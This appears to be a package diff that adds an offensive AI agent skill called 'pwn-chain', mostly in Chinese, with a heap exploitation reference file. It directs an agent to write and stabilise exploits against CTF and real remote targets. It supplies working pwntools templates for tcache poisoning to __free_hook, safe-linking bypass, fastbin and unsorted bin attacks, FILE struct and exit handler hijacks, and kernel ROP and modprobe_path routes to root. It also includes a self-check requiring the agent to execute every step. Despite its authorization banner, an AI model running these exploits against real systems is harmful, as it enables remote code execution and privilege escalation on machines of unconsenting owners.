opencode-skills-collection 4.0.43 → 4.0.45

package/bundled-skills/pwn-chain/SKILL.md

@@ -0,0 +1,209 @@
+---
+name: pwn-chain
+description: "Go from reverse engineering to a working exploit: stack/heap/kernel pwn workflows with pwntools, libc-database, ROP, and stabilization from CTF to authorized remote targets."
+risk: offensive
+source: "https://github.com/zhaoxuya520/reverse-skill"
+source_repo: "zhaoxuya520/reverse-skill"
+source_type: community
+date_added: "2026-08-25"
+license: "MIT"
+license_source: "https://github.com/zhaoxuya520/reverse-skill/blob/main/LICENSE"
+---
+> **⚠️ AUTHORIZED USE ONLY**
+> This skill is for educational purposes or authorized security assessments only.
+> You must have explicit, written permission from the system owner before using this tool.
+> Misuse of this tool is illegal and strictly prohibited.
+
+> **Mandatory confirmation gate**
+> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
+> 1. Ask the user to state the exact target URL, IP, account, or resource.
+> 2. Ask the user to confirm written authorization and the permitted scope.
+> 3. Show the exact command(s) and explain their expected effect.
+> 4. Wait for explicit confirmation in the current conversation.
+>
+> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
+
+## When to Use
+
+- A binary vulnerability is understood and needs a reliable exploit.
+- Porting a CTF-style exploit to an authorized real-world target.
+
+## 适用范围
+
+当任务属于以下场景时使用本 skill：
+
+1. **拿到二进制 + 已知漏洞点** — 静态/审计/fuzz 已经找到溢出/UAF/double free，需要从触发到拿 shell
+2. **CTF 题已经本地通了，远程打不通** — 远端环境差异导致脚本失效，需要稳定化
+3. **真实目标的二进制利用** — SRC / 红队场景下，已经识别到内存损坏漏洞，需要构造 RCE
+4. **Linux 内核驱动的 ioctl bug** — 用户态触发，目标是提权到 root
+
+**前提**：你已经知道"哪里炸了"。本 skill 不负责发现漏洞（那是 fuzzing / 审计），只负责"从漏洞点写出 exploit"。
+
+### 与其他 skill 的分工
+
+| 场景 | 用什么 |
+|------|--------|
+| 识别 custom VM / anti-debug / 复杂 obfuscation | `reverse-engineering/` |
+| 从零打开二进制做静态分析 | `ida-reverse/` 或 `radare2/` |
+| **有漏洞点，写 exploit 打通远程** | **本 skill** |
+| 把 pwn 拿到的 shell 整合进完整攻击链 | `attack-chain/`（下游） |
+
+`reverse-engineering/` 关注"理解程序在干什么"（模式识别、协议还原、解 CTF 题里的奇怪机制）；本 skill 关注"把已经看懂的漏洞变成可执行的攻击"。两者经常配套使用，但分工清晰。
+
+## 核心工作流
+
+```text
+Step 1: 确认漏洞类型 + 保护机制
+   ├─ checksec ./vuln（NX / Canary / PIE / RELRO / Fortify）
+   ├─ file ./vuln  + readelf -d ./vuln
+   ├─ 漏洞分类：栈溢出 / 格式化字符串 / 堆 (UAF/DF/OF) / 整数 / 竞态 / 内核
+   └─ → 决定走哪个 references/
+
+Step 2: 选择利用策略
+   ├─ NX 关 + 无 ASLR → 直接 shellcode
+   ├─ NX 开 + 给 libc → ret2libc / one_gadget
+   ├─ NX 开 + 不给 libc → leak 后 libc-database 反查
+   ├─ 堆 → 按 glibc 版本对应技术 (tcache/fastbin/unsorted/large)
+   └─ 内核 → commit_creds / modprobe_path / core_pattern
+
+Step 3: 准备 libc + gadget
+   ├─ libc-database：./find puts 0x6f0
+   ├─ ROPgadget --binary ./libc.so.6 --only "pop|ret"
+   ├─ one_gadget ./libc.so.6
+   └─ 计算 base：leak_addr - libc.sym['puts']
+
+Step 4: 写 pwntools 模板（本地 process）
+   ├─ context.binary = ELF('./vuln')
+   ├─ p = process('./vuln')  /  p = gdb.debug('./vuln','b *main+xx')
+   ├─ payload = cyclic(N) + p64(ret) + ...
+   └─ p.interactive()
+
+Step 5: 本地通
+   ├─ 反复 attach + 看寄存器 + 调 offset
+   ├─ 用 pwndbg/GEF 的 vmmap / heap / bins / telescope
+   └─ 跑通后切 remote()
+
+Step 6: 远程稳定化
+   ├─ libc 偏移：用 leak 反查 libc-database，不要拍脑袋
+   ├─ 栈对齐：16-byte 不对齐 → movaps 崩 → 加一个 ret gadget
+   ├─ 远程网络延迟 → recvuntil 精确锚字符串，禁用模糊 sleep
+   ├─ 远程缓冲：sendlineafter 比 sendline 更稳
+   ├─ 堆喷成功率：放大 spray 数量 + 留 padding chunk 防合并
+   └─ 多次跑：写 while True 验证成功率 ≥ 95%
+```
+
+## 典型场景
+
+### 场景 1：远程 64 位二进制 (NX+PIE+canary, 给了 libc)
+
+```text
+已有：./vuln（64-bit ELF, NX, PIE, canary）+ ./libc.so.6 + nc host port
+漏洞：read(buf, 0x200) 但 buf 只有 0x40 字节 → 栈溢出
+保护：canary 拦住，PIE 让 .text 随机化
+
+策略：
+1. 先 leak canary（栈/格式化字符串/部分读）
+2. 再 leak 一个 libc 函数地址（puts@got）
+3. 用 libc.address = leaked - libc.sym['puts'] 算 libc base
+4. one_gadget ./libc.so.6 选一个约束能满足的 magic gadget
+5. payload = padding + canary + saved_rbp + (pop_rdi + bin_sh + system) 或直接 one_gadget
+6. 加一个 ret gadget 修栈对齐（关键！）
+```
+
+完整模板参见 `references/stack-pwn.md`。
+
+### 场景 2：Linux 内核驱动 ioctl 越界写 → 拿 root
+
+```text
+已有：vmlinux + bzImage + initramfs.cpio.gz + 自定义 vuln.ko
+漏洞：ioctl(0x1337, ptr) 里 copy_from_user 长度可控 → kernel heap overflow (kmalloc-64 slab)
+保护：SMEP, SMAP, KASLR, KPTI
+
+策略：
+1. 改 init 脚本拿到 root shell（CTF）或先 leak KASLR base 再继续（真实）
+2. 通过 /proc/kallsyms（可能限权）或未初始化堆喷 leak 内核基址
+3. 在 kmalloc-64 slab 里喷 tty_struct / msg_msg / pipe_buffer
+4. 覆盖 vtable 指针指向用户态 → 不行（SMEP），改走 stack pivot + 内核 ROP
+5. ROP 链：prepare_kernel_cred(0) → commit_creds → swapgs+iretq → 用户态 execve("/bin/sh")
+6. 或更省事：覆盖 modprobe_path 为 "/tmp/x"，写一个 /tmp/x，然后触发 modprobe
+```
+
+完整模板参见 `references/kernel-pwn.md`。
+
+## 按需自举 (On-Demand Bootstrap)
+
+### 工具依赖
+
+| 工具 | 用途 | 安装方式 |
+|------|------|---------|
+| pwntools | exploit 编写框架 | `pip install pwntools` |
+| GEF | gdb 增强（推荐内核 + 用户态） | `git clone https://github.com/bata24/gef` (fork 维护活跃) |
+| pwndbg | gdb 增强（堆调试体验最好） | `git clone https://github.com/pwndbg/pwndbg && ./setup.sh` |
+| ROPgadget | gadget 搜索 | `pip install ropgadget` |
+| Ropper | gadget 搜索（备选，支持架构多） | `pip install ropper` |
+| one_gadget | libc magic gadget 查找 | `gem install one_gadget`（需 ruby） |
+| libc-database | libc 指纹反查 | `git clone https://github.com/niklasb/libc-database && ./get` |
+| qemu-system-x86_64 | 内核题调试 | `apt install qemu-system-x86` |
+| binwalk / cpio | initramfs 拆包 | `apt install binwalk cpio` |
+| patchelf | 切换 libc 版本 | `apt install patchelf` |
+
+### Bootstrap 检查脚本
+
+```bash
+# 一键检查 + 安装核心工具
+for t in pwntools ropgadget ropper; do
+  pip show $t >/dev/null 2>&1 || pip install $t
+done
+
+command -v one_gadget >/dev/null || gem install one_gadget
+
+[ -d ~/tools/libc-database ] || git clone https://github.com/niklasb/libc-database ~/tools/libc-database
+[ -d ~/tools/libc-database/db ] || (cd ~/tools/libc-database && ./get ubuntu debian)
+
+[ -d ~/tools/pwndbg ] || (git clone https://github.com/pwndbg/pwndbg ~/tools/pwndbg && cd ~/tools/pwndbg && ./setup.sh)
+```
+
+### 同一工具自动安装失败 2 次后
+
+停止重试，输出结构化手动安装步骤（pip 源 / gem 源 / git 国内镜像 / apt 源）让用户确认。
+
+## 路由上下文
+
+**上游入口**: `skills/SKILL.md`（总控）、`routing.md`
+**触发条件**: 有二进制 + 已识别漏洞点，需要写 exploit
+
+**上游 skill（先用它们再回到本 skill）**:
+- 还没看懂二进制在干什么 → `reverse-engineering/`
+- 需要静态详细分析 → `ida-reverse/`
+- 快速侦察确认架构/保护机制 → `radare2/`
+
+**下游 skill（拿到 shell 之后）**:
+- 整合进完整攻击链（横向、提权、持久化）→ `attack-chain/`
+
+**子模块导航**:
+- 栈类利用（ret2libc / ret2csu / one_gadget / 栈对齐）→ `references/stack-pwn.md`
+- 堆类利用（tcache / fastbin / unsorted / large bin / FILE struct）→ `references/heap-pwn.md`
+- 内核 pwn（kROP / SMEP-SMAP 绕过 / KASLR leak / modprobe_path）→ `references/kernel-pwn.md`
+
+## 注意事项
+
+- **不要在本地跑通就交差** — 本地 libc / ASLR / 网络环境都和远程不同，必须在 remote 模式下连续跑 20 次以上验证稳定性
+- **libc 版本必须确认** — 用 leak + libc-database 反查，不要假设是 Ubuntu 22.04 默认 libc
+- **栈对齐是 64 位的常见坑** — `movaps xmm0, [rsp]` 在 rsp 未 16 字节对齐时段错误，加一个空 `ret` gadget 解决
+- **堆利用对 glibc 版本极敏感** — tcache 在 2.27 引入，safe-linking 在 2.32 引入，2.34 移除 hooks，每个版本利用路径不同
+- **内核 pwn 必须先确认 cpu 标志** — qemu 启动参数里有没有 +smep +smap +pku 直接决定 ROP 链怎么写
+- **KASLR leak 一次就够** — 拿到一个内核地址后所有地址都算偏移，不要反复 leak
+
+## 任务完成自检（声称完成前 MUST 通过）
+
+- [ ] 我是否执行了工作流中的每一步（而不是只阅读）？
+- [ ] 我是否基于 `tool-index` 使用了真实工具路径？
+- [ ] 我是否产出了可复现证据（命令/脚本/截图/报告）？
+- [ ] 我是否完成并回写了 RULES 要求的 Checklist 项？
+
+## Limitations
+
+- Exploit development only on systems you are authorized to attack.
+- Mitigations (full RELRO, CFI, MTE) raise difficulty substantially.
+
+> Adapted from [zhaoxuya520/reverse-skill](https://github.com/zhaoxuya520/reverse-skill) (MIT).

package/bundled-skills/pwn-chain/references/heap-pwn.md

@@ -0,0 +1,283 @@
+# 堆类利用 (Heap Pwn)
+
+## glibc 版本差异（必看）
+
+堆利用的所有技术都跟 glibc 版本强绑定。先确认版本：
+
+```bash
+./libc.so.6 | head -1
+# GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.
+
+# 或 strings
+strings ./libc.so.6 | grep "GNU C Library"
+```
+
+| glibc 版本 | 关键变化 | 影响 |
+|-----------|---------|------|
+| 2.26 及之前 | 无 tcache | unsorted/fastbin 是主战场 |
+| 2.27 | **引入 tcache** | tcache poisoning 极其简单 |
+| 2.29 | unsorted bin unlink 加固（chunk size 检查） | unsorted bin attack 被砍 |
+| 2.31 | tcache 多重检查（key 字段） | tcache poisoning 略复杂 |
+| 2.32 | **safe-linking**（fd 指针异或 PROTECT_PTR） | 需要先 leak heap base |
+| 2.34 | **移除 __free_hook / __malloc_hook** | 改走 FILE struct / exit handlers |
+| 2.35+ | 进一步加固 | 同 2.34，FILE 路径仍可用 |
+
+## tcache poisoning (2.27 - 2.31)
+
+### 原理
+
+tcache 是 per-thread cache，每个 size class 一条链表，单链表（只有 fd）。
+double free 检查在 2.29 之前只看链表头是不是自己，不看遍历。
+
+### 利用模板（2.27 - 2.31）
+
+```python
+from pwn import *
+
+p = process('./vuln')
+libc = ELF('./libc.so.6')
+
+def add(idx, size, data=b'a'):
+    p.sendlineafter(b'> ', b'1')
+    p.sendlineafter(b'idx: ', str(idx).encode())
+    p.sendlineafter(b'size: ', str(size).encode())
+    p.sendafter(b'data: ', data)
+
+def free(idx):
+    p.sendlineafter(b'> ', b'2')
+    p.sendlineafter(b'idx: ', str(idx).encode())
+
+def show(idx):
+    p.sendlineafter(b'> ', b'3')
+    p.sendlineafter(b'idx: ', str(idx).encode())
+    return p.recvline().strip()
+
+# === Step 1: leak libc base ===
+# 申请大于 tcache 范围的 chunk（>0x408），free 进 unsorted bin，残留 main_arena 指针
+for i in range(8):
+    add(i, 0x80)
+add(8, 0x80)  # 防止合并
+for i in range(7):
+    free(i)
+free(7)       # 第 8 个进 unsorted bin，fd/bk 指向 main_arena+96
+add(9, 0x80)  # 切回来一部分，保留 fd
+leak = u64(show(9).ljust(8, b'\x00'))
+libc.address = leak - 0x3ebca0  # main_arena+96 偏移，glibc 2.27 amd64
+log.success(f'libc = {hex(libc.address)}')
+
+# === Step 2: tcache poisoning → 写 __free_hook ===
+add(10, 0x30)
+add(11, 0x30)
+free(10)
+free(11)
+# 用 UAF 改 chunk11 的 fd 指向 __free_hook
+edit(11, p64(libc.sym['__free_hook']))
+add(12, 0x30)  # 取出 chunk11
+add(13, 0x30, p64(libc.sym['system']))  # 取出来的就是 __free_hook 地址，写 system
+
+# 触发：free 一个内容为 "/bin/sh\x00" 的 chunk
+add(14, 0x30, b'/bin/sh\x00')
+free(14)
+
+p.interactive()
+```
+
+## safe-linking 绕过 (2.32+)
+
+```text
+原理：tcache/fastbin 的 fd 写入时被 PROTECT_PTR 异或：
+    PROTECT_PTR(pos, ptr) = (pos >> 12) ^ ptr
+
+绕过：
+1. 必须先 leak 一个堆地址（heap base）
+2. 计算 obfuscated 值：fake_fd_obf = (chunk_addr >> 12) ^ target
+3. 写进去
+```
+
+```python
+def protect_ptr(pos, ptr):
+    return (pos >> 12) ^ ptr
+
+# leak heap base（unsorted bin 残留 / tcache fd 残留）
+heap_base = leaked_heap & ~0xfff
+
+# poisoning
+fake_fd = protect_ptr(heap_base + chunk_off, target_addr)
+edit(chunk_id, p64(fake_fd))
+```
+
+## fastbin attack (传统，2.26 及之前为主)
+
+```text
+关键点：
+1. fastbin 单链表（只有 fd），无 size 检查除了 chunk size 必须匹配
+2. 2.27 后 tcache 优先，fastbin 只有 tcache 满了才用
+3. 仍然需要伪造一个看起来像 chunk 的内存（size 字段 = 真实 chunk size，± 一些）
+```
+
+```python
+# double free
+add(0, 0x60)
+add(1, 0x60)
+free(0)
+free(1)
+free(0)  # fastbin: 0 → 1 → 0
+
+# 把 fd 改成 fake chunk（要求 fake_addr + 8 处的 size 字节匹配 0x70）
+add(2, 0x60, p64(fake_addr))
+add(3, 0x60)
+add(4, 0x60)  # 取出 fake_addr 处的 chunk
+```
+
+## unsorted bin attack（仅 2.28 及之前）
+
+```text
+原理：写任意地址为 main_arena+88
+2.29 起加了 bck->fd == victim 的检查，绕不过
+用途：覆盖 global_max_fast 让小 chunk 也走 fastbin → 配合 fastbin attack
+```
+
+```python
+# 申请 unsorted size chunk
+add(0, 0x100)
+add(1, 0x100)  # 防止 top consolidation
+free(0)
+# UAF 改 bk 指针为 target - 0x10
+edit(0, p64(0) + p64(target - 0x10))
+add(2, 0x100)  # 从 unsorted 取出 → unlink → main_arena+88 写到 target
+```
+
+## large bin attack
+
+```text
+原理：large bin 比 unsorted 多一层 fd_nextsize / bk_nextsize
+2.32 起也加了 chunk size 检查，但仍可用于改 global_max_fast、_IO_list_all 等
+高级技巧，常用于 House of Husk 等组合拳
+```
+
+## House of XXX 速查
+
+| 名称 | 适用版本 | 核心思想 |
+|------|---------|---------|
+| House of Force | 2.28 及之前 | 改 top chunk size 为巨大值 → malloc 任意地址 |
+| House of Lore | 全版本 | 伪造 small bin 链 → 返回任意地址 |
+| House of Orange | 2.23-2.30 | unsorted attack 改 _IO_list_all 触发 _IO_flush_all_lockp |
+| House of Roman | 2.23-2.26 | 12-bit 爆破 + fastbin attack to __malloc_hook |
+| House of Einherjar | 全版本 | 伪造 prev_size + PREV_INUSE=0 → backward consolidation |
+| House of Botcake | 2.27+ | tcache + unsorted bin 组合，绕过 tcache double free 检查 |
+| House of Husk | 2.27+ | 改 printf 的 hook table（__printf_function_table） |
+| House of Cat | 2.34+ | _IO_wfile_seekoff vtable 利用，针对无 hook 版本 |
+| House of Apple | 2.34+ | _IO_wfile_jumps + setcontext gadget |
+
+## 真实利用步骤（通用 4 步）
+
+```text
+Step 1: leak heap base
+  - 申请 chunk → free 到 tcache（2.32+ 保留 obfuscated fd） → show → 反推 heap
+  - 或：申请大 chunk → free 到 unsorted → 切回 → show fd
+
+Step 2: leak libc base
+  - 大 chunk free 到 unsorted bin，fd/bk 残留 main_arena 地址
+  - show → leak → libc.address = leak - main_arena_offset
+
+Step 3: 控 IP
+  - 2.27-2.33: tcache/fastbin poisoning → 写 __free_hook 或 __malloc_hook
+  - 2.34+: FILE struct 攻击（_IO_2_1_stdout_ / stderr），改 vtable → _IO_wfile_jumps
+  - 或：劫持 exit handlers（__exit_funcs / tls_dtor_list）
+
+Step 4: getshell
+  - free_hook = system, free("/bin/sh") → shell
+  - 2.34+: setcontext + 53 gadget → rop chain in heap → execve
+```
+
+## libc 2.34+ 没有 hook 之后的替代路径
+
+### FILE struct 攻击（_IO_2_1_stdout_ / _IO_2_1_stderr_）
+
+```text
+目标：当程序调用 puts/printf 时，最终走到 _IO_file_xsputn → _IO_OVERFLOW → 调用 vtable
+劫持：
+  1. 覆盖 _IO_2_1_stderr_ 的 vtable 指针指向伪造的 vtable
+  2. 伪造 vtable，让 __overflow 字段指向 system 或 setcontext
+  3. 让 fp（FILE*）本身的前 8 字节是 "/bin/sh\x00"（作为 system 的 rdi）
+触发：任何 puts/printf/abort/exit 都会冲刷 stderr
+```
+
+### Exit handlers (`__exit_funcs` / `tls_dtor_list`)
+
+```text
+原理：__run_exit_handlers 遍历 __exit_funcs 链表，调用每个 dtor
+劫持：改链表节点的 func 指针指向 system，arg 指向 "/bin/sh"
+注意：2.34+ 加了 PTR_DEMANGLE，需要 leak tls 里的 fs:[0x30] guard 值才能伪造
+```
+
+### tls_dtor_list（更现代）
+
+```text
+__call_tls_dtors 遍历，结构类似，同样要绕过 PTR_DEMANGLE
+适用：程序退出时会走，比 FILE 攻击更通用
+```
+
+## pwndbg / GEF 堆调试命令
+
+```text
+# pwndbg
+heap              # 显示当前 arena 所有 chunk
+bins              # 显示 tcache / fastbin / unsorted / small / large bins
+tcache            # 单独看 tcache
+find_fake_fast <addr> <size>  # 找一个能用作 fake chunk 的 fd 写入点
+vis_heap_chunks   # 可视化堆布局
+
+# GEF
+heap chunks
+heap bins fast
+heap bins tcache
+heap chunk <addr>
+```
+
+## 典型 pwntools 模板（heap menu 题）
+
+```python
+from pwn import *
+
+context.binary = elf = ELF('./vuln')
+libc = ELF('./libc.so.6')
+
+p = process('./vuln') if not args.REMOTE else remote('host', 1337)
+
+# IO 包装
+def menu(choice):
+    p.sendlineafter(b'choice:', str(choice).encode())
+
+def add(idx, size, data=b'\n'):
+    menu(1)
+    p.sendlineafter(b'idx:', str(idx).encode())
+    p.sendlineafter(b'size:', str(size).encode())
+    if data != b'\n':
+        p.sendafter(b'data:', data)
+
+def free(idx):
+    menu(2)
+    p.sendlineafter(b'idx:', str(idx).encode())
+
+def show(idx):
+    menu(3)
+    p.sendlineafter(b'idx:', str(idx).encode())
+    return p.recvline().strip()
+
+def edit(idx, data):
+    menu(4)
+    p.sendlineafter(b'idx:', str(idx).encode())
+    p.sendafter(b'data:', data)
+
+# === 后续根据漏洞类型选择技术栈 ===
+```
+
+## 注意事项
+
+- **glibc 版本是第一性问题** — 同一个二进制配 2.27 libc 和 2.34 libc，利用路径完全不同
+- **tcache 容量 = 7**（每个 size class）— 喷射够 7 个才会溢出到 unsorted/fastbin
+- **chunk size = 用户请求 + 0x10 头部，向 0x10 对齐**（不算 0x10 头时实际可写超出 0x8 因为下一个 chunk 的 prev_size 被复用）
+- **远程堆喷不稳** — 服务端 fork 模型每次连接 brk/mmap 可能不同，要做随机化测试
+- **不要在 attack 链中遗留 unsorted 残留** — main_arena 指针出现在意外的 chunk 里会让后续 show 输出错乱
+- **safe-linking 错误率** — 计算 PROTECT_PTR 时记得是 `pos >> 12`，pos 是要写入的地址不是要指向的地址